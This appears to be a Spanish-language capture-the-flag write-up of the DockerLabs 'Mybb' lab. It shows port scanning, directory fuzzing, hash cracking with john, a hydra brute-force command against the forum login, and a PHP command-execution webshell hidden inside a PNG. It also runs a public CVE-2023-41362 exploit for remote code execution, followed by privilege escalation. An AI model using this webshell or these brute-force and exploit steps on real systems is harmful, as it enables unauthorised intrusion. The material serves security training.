Post

Mybb , DockerLabs

portada

En este reto de DockerLabs practicamos.

  • Scan de puertos

Herramientas y recursos

  • nmap
  • feroxbuster

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX mybb  172.18.0.2

reporte

En este caso nos encontramos solo con el protocolo http abierto por el 80.

web

Posicionandonos arriba del link del forum o clickando sobre el podremos ver el virtual host hemos de añadir a /etc/hosts el virtual host.

admin

Despues de añadido podremos acceder al al foro se trata de Mybb pero no podemos encontrar la version ni nada por el estilo.

De momento lo unico que tenemos es el usario admin que puede verse claramente, asi que haremos fuerza bruta bruta.

Primero hagamos un poco de fuzzing por si esconde algo mas.

ferox

Encontramos el directorio backups el cual tiene un fichero llamado data.

datafile

Lo leemos y extraemos un pass hasheado y un nombre de usuario pero de momento no tenemos por donde usar esos datos.

Pasamos el hash a un fichero aparte y tiramos con john para que nos diga la contraseña.

1
../../../../../quino/hacking_tools/brute_passwords_hash/john/run/john hash --show

john

En el panel de la web dice solo un mienbro registrado es decir alice no sirve , debemos hacer fuerza si o si contra admin.

Despues de probar varias herramientas para tal proposito , todas me devolvian falsos positivos , mismo peso de la pagina , mismo numero de lineas etc , etc ,etc , para solucionar eso imagino que wireshark seria un buen aliado para ver bien que esta ocurriendo aunque en otro login http la solucion fue ffuf en este daba igual. Tampoco importaba si lo tiraba contra menbers.php o /admin/index.php . De momento tiro de hydra.

1
hydra -l admin -P /home/quino/test panel.mybb.dl http-post-form "/member.php:username=admin&password=^PASS^&remember=yes&submit=Login&action=do_login&url=&my_post_key=8bf80030fa0d699af33e313cdf8b5840:Please correct the following errors before continuing"

hydra

Aqui viendo que esto ya me ocurrio otra vez y pensando que pasaria si en vez de 15 falsos positivos fuesen 50 busque una solucion con un poco de scripting en bash para corroborar esos logins.

Primero filtro con awk para que solo me muestre la columna de los pass y asi los copio a un txt.

awk

Una vez con la lista de posibles passwords y el nombre de usuario creamos un bash script para que realice el las pruebas.

script

Obetemos babygirl , no obstante tambien hay algo que bloquea los inicios de sesion si tiras mas de 5 intentos, no entiendo pq con hydra para despues de 15 intentos y en cambio ffuf sigue tirando falsos positivos hasta el final del diccionario. DEBE BLOQUEAR POR X INTENTOS EN LA MISMA IP EN X TIEMPO

Estoy presuponiendo que tanto hydra con ffuf deben de engañar de algun modo a mybb. Cuando consiga que el script no bloquee el foro lo subire a mi github.

Infiltracion

Hacemos login en el foro con las credenciales obtenidas y buscamos la version para encontrar exploits.

mybb

SALTEN ESTO 3 HORAS PERDIDAS POR NO LEER LA VERSION BIEN CREI HABER LEIDO 1.8.32 CUANDO ES 1.8.35

Con esa version encuentro en github una manera que es a traves de la union de un png con un backdoor en php basico.

1
2
3
4
5
6
7
8
9
<?php
if(isset($_REQUEST['cmd'])){
        echo "<getshell success>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "<getshell success>";
        phpinfo();
}
?>

Una vez tenemos el png y el backdoor.php creados los fusionamos.

1
cat backdoor.php >> backdoor.png

Comprobamos que file nos da la info correcta.

file HASTA AQUI LA PERDIDA DE TIEMPO

P.D: aprendimos a meter payload en png :-) …..

Realizo de nuevo busqueda en san google y encuentro info acerca de este cms en vuldb con un cve asociado CVE-2023-41362.

cve

Encontramos un exploit en github mucho mas sencillo de lo que tenia antes.

1
python3 xploit.py http://panel.mybb.dl admin babygirl

Ya tenemos un rce.

Podemos enviarnos una rev para mayor comodidad que ya esta bien de sufrir.

rev

Le realizamos el corespondiente tratamiento.

Ejecuto tanto sudo como find sin exito y recorde que sacamos la pass de un fichero que estaba via web.

alice

Una vez como alice vemos un directorio vacio, pero al realizar un sudo vemos que nos permite la ejecucion de scripts ruby como root.Aqui cada uno hara lo que crea conveniente.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.